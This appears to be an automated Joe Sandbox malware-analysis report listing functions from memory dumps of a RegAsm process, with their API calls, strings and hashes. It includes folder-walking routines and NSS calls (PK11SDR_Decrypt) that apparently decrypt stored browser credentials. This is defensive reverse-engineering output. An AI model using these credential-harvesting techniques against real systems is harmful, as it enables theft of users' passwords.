Instruction Fuzzy Hash: C3F1D4709062299FDB20CF64CD49BDAB7B5AF06318F1C8299D819A3741DB35AEC5CF90

Function 004133C0 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004133DC
FindFirstFileA.KERNEL32(?,?), ref: 004133F3
lstrcat.KERNEL32(?,?), ref: 00413445
StrCmpCA.SHLWAPI(?,00420F40), ref: 00413457
StrCmpCA.SHLWAPI(?,00420F44), ref: 0041346D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413777
FindClose.KERNEL32(000000FF), ref: 0041378C

Strings

%s\%s, xrefs: 0041348A
%s\%s\%s, xrefs: 0041355A
18A, xrefs: 00413792, 00413755, 00413679, 00413419, 0041367C, 00413758
%s\*, xrefs: 004133D0
%s\%s, xrefs: 0041357F
%s%s, xrefs: 004135BD

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*$18A
API String ID: 1125553467-3461493422
Opcode ID: 726007c070200b8b6ccd5e432aca5a88abac811a359fd20cf8ca828f6c5e6349
Instruction ID: eff374fbcd62c6e18ab1f1aaab25817c9043c0eeef42efb3c17498ac9b2729e3
Opcode Fuzzy Hash: 726007c070200b8b6ccd5e432aca5a88abac811a359fd20cf8ca828f6c5e6349
Instruction Fuzzy Hash: 93A18FB1A00218ABCB34DFA4DC85FEE7379BF48305F448589E50D96181EB789B89CF65

Function 6CA7C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA7C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA7C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA7C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA7C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CA7C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA7CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA7CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA7DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CA7DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CA7DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA7DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA7DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CA7E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA7E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CA7E472

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 322ec4c5e26acde5ff7bfcbf574ade6cdb0074d3afd2aa63f10437ffe19373b4
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 84339F75E0021ACFCB14CFA8C8806EDBBF2FF89314F184269D955AB755D731A985CBA0

Function 6CA2FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA9E7B8), ref: 6CA2FF81
LeaveCriticalSection.KERNEL32(6CA9E7B8), ref: 6CA3022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA30240
EnterCriticalSection.KERNEL32(6CA9E768), ref: 6CA3025B
LeaveCriticalSection.KERNEL32(6CA9E768), ref: 6CA3027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA2FE99, 6CA2FEB7, 6CA2FED3, 6CA30DB8, 6CA30DD3, 6CA319B4
<jemalloc>, xrefs: 6CA30D62, 6CA30D76, 6CA30DA7
: (malloc) Error in VirtualFree(), xrefs: 6CA30D67, 6CA30D7B, 6CA30DAC

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: faa1e28ec28d839a5376312711120e76a07a06256a27f2a6b6f69584743d49b9
Instruction ID: 9ef3b5ac104f1d2097f80b0f60bd512ba426c8888a366da92d3954fe7f3faeaa
Opcode Fuzzy Hash: faa1e28ec28d839a5376312711120e76a07a06256a27f2a6b6f69584743d49b9
Instruction Fuzzy Hash: 7CC2E071A057518FD714CF28C9A1716BBE1BF85328F28C66DE8A9CB795C731E881CB81

Function 6CA7E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CA7E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA7EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA7EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA7EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA7F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA7F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA80E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA80E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CA80EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CA80ED4

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 68233db1adf31e0500421a6cddeaec48cf87b1e10f47bcac37a8dcd8e67717dc
Instruction ID: aee59b35bd4d4e1b01c7d08679d968dff78963789aae5a3aa38130a5d056e193
Opcode Fuzzy Hash: 68233db1adf31e0500421a6cddeaec48cf87b1e10f47bcac37a8dcd8e67717dc
Instruction Fuzzy Hash: 31639F71E0125A8FCB14CFACC8905EDFBB2FF89310F298269D455AB755D730A985CB90

Function 00414050 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414060
HeapAlloc.KERNEL32(00000000), ref: 00414067
wsprintfA.USER32 ref: 00414086
FindFirstFileA.KERNEL32(?,?), ref: 0041409D
StrCmpCA.SHLWAPI(?,00420F94), ref: 004140CB
StrCmpCA.SHLWAPI(?,00420F98), ref: 004140E1
FindNextFileA.KERNEL32(000000FF,?), ref: 0041416B
FindClose.KERNEL32(000000FF), ref: 00414180
lstrcat.KERNEL32(?,01503960), ref: 004141A5
lstrcat.KERNEL32(?,01502360), ref: 004141B8
lstrlenA.KERNEL32(?), ref: 004141C5
lstrlenA.KERNEL32(?), ref: 004141D6

Strings

%s\*, xrefs: 0041407A
%s\%s, xrefs: 004140FB

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 3bfca4904039594e7bc184b9ea0cd864b735e8bbaf74a4ec34d52db7b4bf7707
Instruction ID: 5a9d9924cf4f5588b7cf1b0220733e19b9eaeea9c8f58638c5d055d4a934acf6
Opcode Fuzzy Hash: 3bfca4904039594e7bc184b9ea0cd864b735e8bbaf74a4ec34d52db7b4bf7707
Instruction Fuzzy Hash: 6A5194B1940218ABC720EB70DC89FEE777DAF58304F40458DB60996190EB749BC5CFA5

Function 6CA3ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CA3EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA3EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA41695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA416B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CA41770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA41A3E

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 3123a0844b35ddef46f05c82a271d8217eeee1531d62346ab2367877bd01d00c
Instruction ID: 50cf556f21bdd18678ae82afbbca59b1d9d810c163843a11bdfbbb4fece24cf9
Opcode Fuzzy Hash: 3123a0844b35ddef46f05c82a271d8217eeee1531d62346ab2367877bd01d00c
Instruction Fuzzy Hash: 5DB31B71E01229CFCB14CFA9C890AADB7B2FF49304F1982A9D559AB745D730AD85CF90

Function 6CA2FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA9E7B8), ref: 6CA2FF81
LeaveCriticalSection.KERNEL32(6CA9E7B8), ref: 6CA3022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA30240
EnterCriticalSection.KERNEL32(6CA9E768), ref: 6CA3025B
LeaveCriticalSection.KERNEL32(6CA9E768), ref: 6CA3027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA2FE99, 6CA2FEB7, 6CA2FED3, 6CA30DB8, 6CA30DD3, 6CA319B4, 6CA31A10
MOZ_CRASH(), xrefs: 6CA30CA7

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 9dcf36929d1dbf1335855d18deba33dae32f783a320b4ae44b0b01c7366cbe8d
Instruction ID: 78555109d38895c0fccaed1bdb1641043281edb08ed39e469a63e9c6a0ed0020
Opcode Fuzzy Hash: 9dcf36929d1dbf1335855d18deba33dae32f783a320b4ae44b0b01c7366cbe8d
Instruction Fuzzy Hash: 4FB2AB716057518FD718CF29C5A0726BBE1AF85328F28C66CE9AECB795C770E881CB41

Function 004139B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004139D3
FindFirstFileA.KERNEL32(?,?), ref: 004139EA
StrCmpCA.SHLWAPI(?,00420F7C), ref: 00413A18
StrCmpCA.SHLWAPI(?,00420F80), ref: 00413A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 00413B7C
FindClose.KERNEL32(000000FF), ref: 00413B91

Strings

%s\%s, xrefs: 004139C7

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 8dd7ffa64ac57a07e3e009aff93f05e5f75dbf076beb75024cdc8b37be35a72c
Instruction ID: 0978cf4b12305aed0c6265f700eadee139911ff0226e3ee7039eca2cb0139609
Opcode Fuzzy Hash: 8dd7ffa64ac57a07e3e009aff93f05e5f75dbf076beb75024cdc8b37be35a72c
Instruction Fuzzy Hash: EE5188B1900218ABCB24EF60DC45EEE777DBF44304F40858DB60996151EB749BC5CF98

Function 6CA3D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA9E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA4D1C5), ref: 6CA3D4F2
LeaveCriticalSection.KERNEL32(6CA9E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA4D1C5), ref: 6CA3D50B

Part of subcall function 6CA1CFE0: EnterCriticalSection.KERNEL32(6CA9E784), ref: 6CA1CFF6
Part of subcall function 6CA1CFE0: LeaveCriticalSection.KERNEL32(6CA9E784), ref: 6CA1D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA4D1C5), ref: 6CA3D52E
EnterCriticalSection.KERNEL32(6CA9E7DC), ref: 6CA3D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA3D6A6
LeaveCriticalSection.KERNEL32(6CA9E7DC), ref: 6CA3D712
LeaveCriticalSection.KERNEL32(6CA9E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA4D1C5), ref: 6CA3D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA3D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CA3D82C
<jemalloc>, xrefs: 6CA3D827

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 42771fe2441af51bbd829daba1da094721311b7a5e3066418768d5c25f4d46ca
Instruction ID: 394c4f4e16f0ec624ced1bb1898a7f013d232ca0e6bb79c9cef220a2059a1326
Opcode Fuzzy Hash: 42771fe2441af51bbd829daba1da094721311b7a5e3066418768d5c25f4d46ca
Instruction Fuzzy Hash: 0291E571E24721CFD718CF29C5A525AB7E1FB85314F14992EE4AEC7A81DB30E885CB42

Function 6CA35E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA35EDB
memset.VCRUNTIME140(6CA77765,000000E5,55CCCCCC), ref: 6CA35F27
LeaveCriticalSection.KERNEL32(?), ref: 6CA35FB2
memset.VCRUNTIME140(6CA77765,000000E5,A9C09015), ref: 6CA361F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CA37652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA37BCD, 6CA37C1F, 6CA37C34, 6CA380FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA372F8
MOZ_CRASH(), xrefs: 6CA37BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA372E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA3730D

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 3f38f974ba26a5f8e9d64e69b229ea4bb3def6d56c4dec4b8ed99eb271302b5a
Instruction ID: 77f9c2b727819eb2d7e0835a8e3be1d12a121df62049cbe3f3c37e9db893653c
Opcode Fuzzy Hash: 3f38f974ba26a5f8e9d64e69b229ea4bb3def6d56c4dec4b8ed99eb271302b5a
Instruction Fuzzy Hash: 6F336A71605711CFC308CF29C6A0615BBE2BF85328B2DD6ADE969CB7A5D731E881CB41

Function 0040C660 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C693
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,014FAA58), ref: 0040C6B1
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C6BC
PK11_GetInternalKeySlot.NSS3 ref: 0040C6CA
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C6E5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C72B
memcpy.MSVCRT(?,?,?), ref: 0040C752
lstrcat.KERNEL32(?,00420B2E), ref: 0040C783
lstrcat.KERNEL32(?,00420B2F), ref: 0040C797
PK11_FreeSlot.NSS3(?), ref: 0040C7A1
lstrcat.KERNEL32(?,00420B33), ref: 0040C7B8

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: cbad7c0847f5c4f1099e9d5384a001de016509e2d4f22c5d3e1b4949098894a2
Instruction ID: c0f5229a5aee9ff77f702815419eeee9532eb5a68af55b4089f36d1ae8d19eeb
Opcode Fuzzy Hash: cbad7c0847f5c4f1099e9d5384a001de016509e2d4f22c5d3e1b4949098894a2
Instruction Fuzzy Hash: 96414E7490421ADFCB20CFA4DD89BEEBBB9AB48304F1042B9F509A7280D7745A85CF95

Function 6CA74EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CA74EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA74F2E
moz_xmalloc.MOZGLUE ref: 6CA74F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CA74F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA752B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA752E6
Sleep.KERNEL32(00000010), ref: 6CA75481
free.MOZGLUE(?), ref: 6CA75498

Strings

(, xrefs: 6CA75250

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 2e7ec0b1bf32573f2e0407e652349b421558392bde4615f40162aacc292fe4a3
Instruction ID: 0cfe1ad787e06cbca17505d768c19e9cf743c9b5234d6b8a419c6fa8a4b094a5
Opcode Fuzzy Hash: 2e7ec0b1bf32573f2e0407e652349b421558392bde4615f40162aacc292fe4a3
Instruction Fuzzy Hash: F7F1CF71A19B018FC71ACF39C85162BB7F6BFD6284F05872EF846A7650DB319846CB81

Function 0040EB60 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040EB7E
FindFirstFileA.KERNEL32(?,?), ref: 0040EB95
StrCmpCA.SHLWAPI(?,004214DC), ref: 0040EBEB
StrCmpCA.SHLWAPI(?,004214E0), ref: 0040EC01
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F0EE
FindClose.KERNEL32(000000FF), ref: 0040F103

Strings

%s\*.*, xrefs: 0040EB72

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
